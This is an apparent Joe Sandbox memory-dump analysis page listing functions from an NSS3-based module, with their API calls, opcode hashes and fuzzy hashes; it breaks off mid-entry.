Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: 8d94f031be449903466960026a71b6aa99c30fa981f51eb85453e377ea45f305
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: 6C51BE71A002018BEB20CF6ADC48B66B3F5AF4531CF154829E915D7B61EB32E810CBB9

Function 6C662470 Relevance: 12.1, APIs: 8, Instructions: 141COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6C662D7C,6C639192,?), ref: 6C66248E
EnterCriticalSection.KERNEL32(02B80138), ref: 6C6624A2
memset.VCRUNTIME140(6C662D7C,00000020,6C662D5C), ref: 6C66250E
memset.VCRUNTIME140(6C662D9C,00000020,6C662D7C), ref: 6C662535
memset.VCRUNTIME140(?,00000020,?), ref: 6C66255C
memset.VCRUNTIME140(?,00000020,?), ref: 6C662583
PR_Unlock.NSS3(?), ref: 6C662594
PR_SetError.NSS3(00000000,00000000), ref: 6C6625AF

Part of subcall function 6C6BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6BC2BF

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: memset$Value$CriticalEnterErrorSectionUnlock
String ID:
API String ID: 2972906980-0
Opcode ID: 1ec06a212b52c4df61d6814d328ff42dc1c64bd017dc1122c8bd37db0945073d
Instruction ID: 3cdc6e1300dc3551772ee8b11ae2e454e38c5eee9028ab13543fe94914249f28
Opcode Fuzzy Hash: 1ec06a212b52c4df61d6814d328ff42dc1c64bd017dc1122c8bd37db0945073d
Instruction Fuzzy Hash: D74121B1E003059BEB109F35CC9C7AA3774FB99309F140A68EC05D7A52F774EA94C296

Function 6C6588E0 Relevance: 12.1, APIs: 8, Instructions: 112COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C6588FC

Part of subcall function 6C66BE30: SECOID_FindOID_Util.NSS3(6C62311B,00000000,?,6C62311B,?), ref: 6C66BE44

PORT_NewArena_Util.NSS3(00000800), ref: 6C658913

Part of subcall function 6C670FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6187ED,00000800,6C60EF74,00000000), ref: 6C671000
Part of subcall function 6C670FF0: PR_NewLock.NSS3(?,00000800,6C60EF74,00000000), ref: 6C671016
Part of subcall function 6C670FF0: PL_InitArenaPool.NSS3(00000000,security,6C6187ED,00000008,?,00000800,6C60EF74,00000000), ref: 6C67102B

SEC_ASN1DecodeItem_Util.NSS3(00000000,?,6C73D864,?), ref: 6C658947

Part of subcall function 6C66E200: PR_SetError.NSS3(FFFFE009,00000000), ref: 6C66E245
Part of subcall function 6C66E200: PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6C66E254

SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6C65895B
DER_GetInteger_Util.NSS3(?), ref: 6C658973
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C658982
SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C6589EC
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C658A12

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Util$Arena_Tag_$AlgorithmErrorFindFree$ArenaDecodeInitInteger_Item_LockPoolcalloc
String ID:
API String ID: 2145430656-0
Opcode ID: 6b704f7c2e935babde459eebe6e8656d675406d432f642a2930366e8e93d49b9
Instruction ID: c0bd7b47ba41bff13a37e99e9b9393e40129069dc8d27710dfd2c3c22b248888
Opcode Fuzzy Hash: 6b704f7c2e935babde459eebe6e8656d675406d432f642a2930366e8e93d49b9
Instruction Fuzzy Hash: 82314CF1A6460052F720462DAC417EA32955F9A31CF740A37D919D7EA1FB31C466829F

Function 6C634A10 Relevance: 12.1, APIs: 8, Instructions: 80COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6C635385,?,?,00000000), ref: 6C634A29
EnterCriticalSection.KERNEL32 ref: 6C634A42
TlsGetValue.KERNEL32 ref: 6C634A5F
EnterCriticalSection.KERNEL32 ref: 6C634A78
PL_HashTableLookup.NSS3 ref: 6C634A91
PR_Unlock.NSS3 ref: 6C634A9E
PR_Now.NSS3 ref: 6C634AAD
PR_Unlock.NSS3 ref: 6C634AD2

Part of subcall function 6C6007A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C59204A), ref: 6C6007AD
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C59204A), ref: 6C6007CD
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C59204A), ref: 6C6007D6
Part of subcall function 6C6007A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C59204A), ref: 6C6007E4
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,6C59204A), ref: 6C600864
Part of subcall function 6C6007A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C600880
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,?,6C59204A), ref: 6C6008CB
Part of subcall function 6C6007A0: TlsGetValue.KERNEL32(?,?,6C59204A), ref: 6C6008D7
Part of subcall function 6C6007A0: TlsGetValue.KERNEL32(?,?,6C59204A), ref: 6C6008FB

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID:
API String ID: 326028414-0
Opcode ID: 5bd3a52a29e4c8dfe408bbaf80df0c8c169c9e7e75418cb066d6552ce8a85fc3
Instruction ID: 4707d19ff9a44b8f0741824f78bd76bb34b26a234e4c17def1f848285f695a9d
Opcode Fuzzy Hash: 5bd3a52a29e4c8dfe408bbaf80df0c8c169c9e7e75418cb066d6552ce8a85fc3
Instruction Fuzzy Hash: 24312DB5A046149FCB00AF38C08446ABBF4FF4A354B059969DC9997704EB30E894CBD9

Function 6C720860 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

PR_LogFlush.NSS3(00000000,00000000,?,?,6C727AE2,?,?,?,?,?,?,6C72798A), ref: 6C72086C

Part of subcall function 6C720930: EnterCriticalSection.KERNEL32(?,00000000,?,6C720C83), ref: 6C72094F
Part of subcall function 6C720930: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?,?,6C720C83), ref: 6C720974
Part of subcall function 6C720930: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C720983
Part of subcall function 6C720930: _PR_MD_UNLOCK.NSS3(?,?,6C720C83), ref: 6C72099F

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000001,00000000,00000000,?,?,6C727AE2,?,?,?,?,?,?,6C72798A), ref: 6C72087D
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,6C727AE2,?,?,?,?,?,?,6C72798A), ref: 6C720892
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?,?,?,?,6C72798A), ref: 6C7208AA
free.MOZGLUE(?,00000000,00000000,?,?,6C727AE2,?,?,?,?,?,?,6C72798A), ref: 6C7208C7
free.MOZGLUE(?,00000000,00000000,?,?,6C727AE2,?,?,?,?,?,?,6C72798A), ref: 6C7208E9
free.MOZGLUE(?,6C727AE2,?,?,?,?,?,?,6C72798A), ref: 6C7208EF
PR_DestroyLock.NSS3(?,00000000,00000000,?,?,6C727AE2,?,?,?,?,?,?,6C72798A), ref: 6C72090E

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: free$__acrt_iob_func$CriticalDestroyEnterFlushLockSectionfclosefflushfwrite
String ID:
API String ID: 3145526462-0
Opcode ID: 6f3b3b0825128a5cd4971ee24f2be5e1122a27ee0b3252987ed07d2f2676b831
Instruction ID: 6f93e8042dc7f4bb6986248b77250490c58e8b18a54fe24ed0c15ac153febf0a
Opcode Fuzzy Hash: 6f3b3b0825128a5cd4971ee24f2be5e1122a27ee0b3252987ed07d2f2676b831
Instruction Fuzzy Hash: 461190B1B023644BEF01AB6ADEA67573778EB42758F190134E40AC7640DF35E8048BF2

Function 6C594F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C594FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5951BB

Strings

%s at line %d of [%.10s], xrefs: 6C5951B4
unable to delete/modify user-function due to active statements, xrefs: 6C5951DF
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5951A5
misuse, xrefs: 6C5951AF

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: 3f06769a4e98462a70d7e61f767166bd229f021f3fe6bccb33f43139c8a7433e
Instruction ID: 5da5ffe8c7b62ad31406d85fa454e2231f62763010ed42d712ceafa0a19c3b39
Opcode Fuzzy Hash: 3f06769a4e98462a70d7e61f767166bd229f021f3fe6bccb33f43139c8a7433e
Instruction Fuzzy Hash: 0F71AD7160424ADBDB00CE25CD80B9A77B9BF48309F4846A4FD199BB85D335ED61CBA1

Function 6C6829E0 Relevance: 10.7, APIs: 7, Instructions: 181COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,00000000,00000000,?,?,6C6821DD,00000000), ref: 6C682A47
SEC_ASN1EncodeInteger_Util.NSS3(?,6C6821DD,00000002,00000000,00000000,?,?,6C6821DD,00000000), ref: 6C682A60
SECOID_FindOIDByTag_Util.NSS3(00000000,?,?,?,?,00000000,00000000,?,?,6C6821DD,00000000), ref: 6C682A8E
PK11_KeyGen.NSS3(00000000,?,00000000,83F089CA,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C682AE9
PORT_ArenaMark_Util.NSS3(00000000), ref: 6C682B0D
PK11_FreeSymKey.NSS3(?), ref: 6C682B7B
PK11_FreeSymKey.NSS3(?), ref: 6C682BD6

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: K11_Util$Free$ArenaEncodeErrorFindInteger_Mark_Tag_
String ID:
API String ID: 1625981074-0
Opcode ID: e51b36b6559e6fff9034f4addc194976f90be35ed4abc5aec4ed943d0634a6b0
Instruction ID: 9d602261f1d337ff339a2d328a7220ca021d8d98afb394ea85b0727a4a0d795f
Opcode Fuzzy Hash: e51b36b6559e6fff9034f4addc194976f90be35ed4abc5aec4ed943d0634a6b0
Instruction Fuzzy Hash: 715139B1E022069BEB108EA5DC84BAA73B4AF4571CF150134ED19A7782E731E915CBB9

Function 6C626980 Relevance: 10.6, APIs: 7, Instructions: 126COMMON

Download Yara Rule

APIs

Part of subcall function 6C625DB0: NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C625DEC
Part of subcall function 6C625DB0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6C625E0F

SECITEM_DupItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6269BA

Part of subcall function 6C66FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C619003,?), ref: 6C66FD91
Part of subcall function 6C66FD80: PORT_Alloc_Util.NSS3(A4686C67,?), ref: 6C66FDA2
Part of subcall function 6C66FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C67,?,?), ref: 6C66FDC4

VFY_EndWithSignature.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C626A59
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C626AB7
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C626ACA
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C626AE0
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C626AE9

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Util$Alloc_Item_free$AlgorithmDestroyErrorPolicyPublicSignatureWithZfreememcpy
String ID:
API String ID: 2730469119-0
Opcode ID: a4c16f5d98899974ace5c28674e802b54363bfe79d2e9e3cbc5cd03b84a72ed1
Instruction ID: c2b31021cbec2d752623ca05400be6ac1b520d6dccc1e193e053d13e7a519f92
Opcode Fuzzy Hash: a4c16f5d98899974ace5c28674e802b54363bfe79d2e9e3cbc5cd03b84a72ed1
Instruction Fuzzy Hash: E941D4726406049BEB10DF24EC49B9B77E9BF45354F188438E85AC7350EF35E901CBA6

Function 6C6789A0 Relevance: 10.6, APIs: 7, Instructions: 124COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3 ref: 6C6789DF
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C6789EA
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C678A04

Part of subcall function 6C67BC10: SECITEM_CopyItem_Util.NSS3(?,?,?,?,-00000001,?,6C67800A,00000000,?,00000000,?), ref: 6C67BC3F

PK11_PBEKeyGen.NSS3(00000000,?,?,00000000,?), ref: 6C678A47
PK11_GetInternalKeySlot.NSS3 ref: 6C678A7E
PK11_PBEKeyGen.NSS3(00000000,?,00000000,00000000,?), ref: 6C678A96

Part of subcall function 6C65F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C65F854
Part of subcall function 6C65F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C65F868
Part of subcall function 6C65F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C65F882
Part of subcall function 6C65F820: free.MOZGLUE(04C483FF,?,?), ref: 6C65F889
Part of subcall function 6C65F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C65F8A4
Part of subcall function 6C65F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C65F8AB
Part of subcall function 6C65F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C65F8C9
Part of subcall function 6C65F820: free.MOZGLUE(280F10EC,?,?), ref: 6C65F8D0

SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C678AD4

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: free$K11_Util$CriticalDeleteItem_Section$CopyInternalSlot$AlgorithmTag_Zfree
String ID:
API String ID: 3389286309-0
Opcode ID: fb2e90714cf61cbdaf88d6049258808993db8e7a2886a8d3dcecefc3fe44f7da
Instruction ID: db6d31106dc0e74d4282ca57242b8463791d04e663beeea8218c58ae3e41a57e
Opcode Fuzzy Hash: fb2e90714cf61cbdaf88d6049258808993db8e7a2886a8d3dcecefc3fe44f7da
Instruction Fuzzy Hash: DB41F6B6A00304BBDB109E65DC41BAB3778EB49718F54442AFD0897A52E732ED1487FB

Function 6C65AC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6C65AB3E,?,?,?), ref: 6C65AC35

Part of subcall function 6C63CEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6C63CF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C65AB3E,?,?,?), ref: 6C65AC55

Part of subcall function 6C6710C0: TlsGetValue.KERNEL32(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C6710F3
Part of subcall function 6C6710C0: EnterCriticalSection.KERNEL32(?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67110C
Part of subcall function 6C6710C0: PL_ArenaAllocate.NSS3(?,?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C671141
Part of subcall function 6C6710C0: PR_Unlock.NSS3(?,?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C671182
Part of subcall function 6C6710C0: TlsGetValue.KERNEL32(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6C65AB3E,?,?), ref: 6C65AC70

Part of subcall function 6C63E300: TlsGetValue.KERNEL32 ref: 6C63E33C
Part of subcall function 6C63E300: EnterCriticalSection.KERNEL32(?), ref: 6C63E350
Part of subcall function 6C63E300: PR_Unlock.NSS3(?), ref: 6C63E5BC
Part of subcall function 6C63E300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6C63E5CA
Part of subcall function 6C63E300: TlsGetValue.KERNEL32 ref: 6C63E5F2
Part of subcall function 6C63E300: EnterCriticalSection.KERNEL32(?), ref: 6C63E606
Part of subcall function 6C63E300: PORT_Alloc_Util.NSS3(?), ref: 6C63E613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6C65AC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6C65AB3E), ref: 6C65ACD7
PORT_Alloc_Util.NSS3(?), ref: 6C65AD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6C65AD2B

Part of subcall function 6C63F360: TlsGetValue.KERNEL32(00000000,?,6C65A904,?), ref: 6C63F38B
Part of subcall function 6C63F360: EnterCriticalSection.KERNEL32(?,?,?,6C65A904,?), ref: 6C63F3A0
Part of subcall function 6C63F360: PR_Unlock.NSS3(?,?,?,?,6C65A904,?), ref: 6C63F3D3

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: 863fb674cac1b8d84c95b56373659c7a7d7027e29e004f92673596099f0df114
Instruction ID: 6c786a609e992a8e2bd3b42b634ccc07b79ad73a191473439952658991448bc3
Opcode Fuzzy Hash: 863fb674cac1b8d84c95b56373659c7a7d7027e29e004f92673596099f0df114
Instruction Fuzzy Hash: E23149B1E002155FEB008F25CC409FF77A6AF85318B688128E8199B741EB31DC25C7B9

Function 6C612920 Relevance: 10.6, APIs: 7, Instructions: 121timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C61294E

Part of subcall function 6C671820: DER_GeneralizedTimeToTime_Util.NSS3(?,?,?,6C611D97,?,?), ref: 6C671836

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C61296A
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C612991

Part of subcall function 6C671820: PR_SetError.NSS3(FFFFE005,00000000,?,6C611D97,?,?), ref: 6C67184D

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C6129AF
PR_Now.NSS3 ref: 6C612A29
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C612A50
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C612A79

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: TimeUtil$Choice_Decode$Error$GeneralizedTime_
String ID:
API String ID: 2509447271-0
Opcode ID: 5381578a63e3330b14f45007f31f786180ed2ef43c3edc51666401a2d61a5af4
Instruction ID: fc9c83b9ecfa600b675027dc758cd093d49b6d584c6464251f0d8917312e3f4a
Opcode Fuzzy Hash: 5381578a63e3330b14f45007f31f786180ed2ef43c3edc51666401a2d61a5af4
Instruction Fuzzy Hash: EC41B371A0C3519FC714CF2CC840A4FB7E5ABCA759F154A2DF89893700E730E909879A

Function 6C638C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C638C7C

Part of subcall function 6C6D9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C720A27), ref: 6C6D9DC6
Part of subcall function 6C6D9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C720A27), ref: 6C6D9DD1
Part of subcall function 6C6D9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6D9DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C638CB0
TlsGetValue.KERNEL32 ref: 6C638CD1
EnterCriticalSection.KERNEL32(?), ref: 6C638CE5
PR_Unlock.NSS3(?), ref: 6C638D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6C638D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C638D93

Memory Dump Source

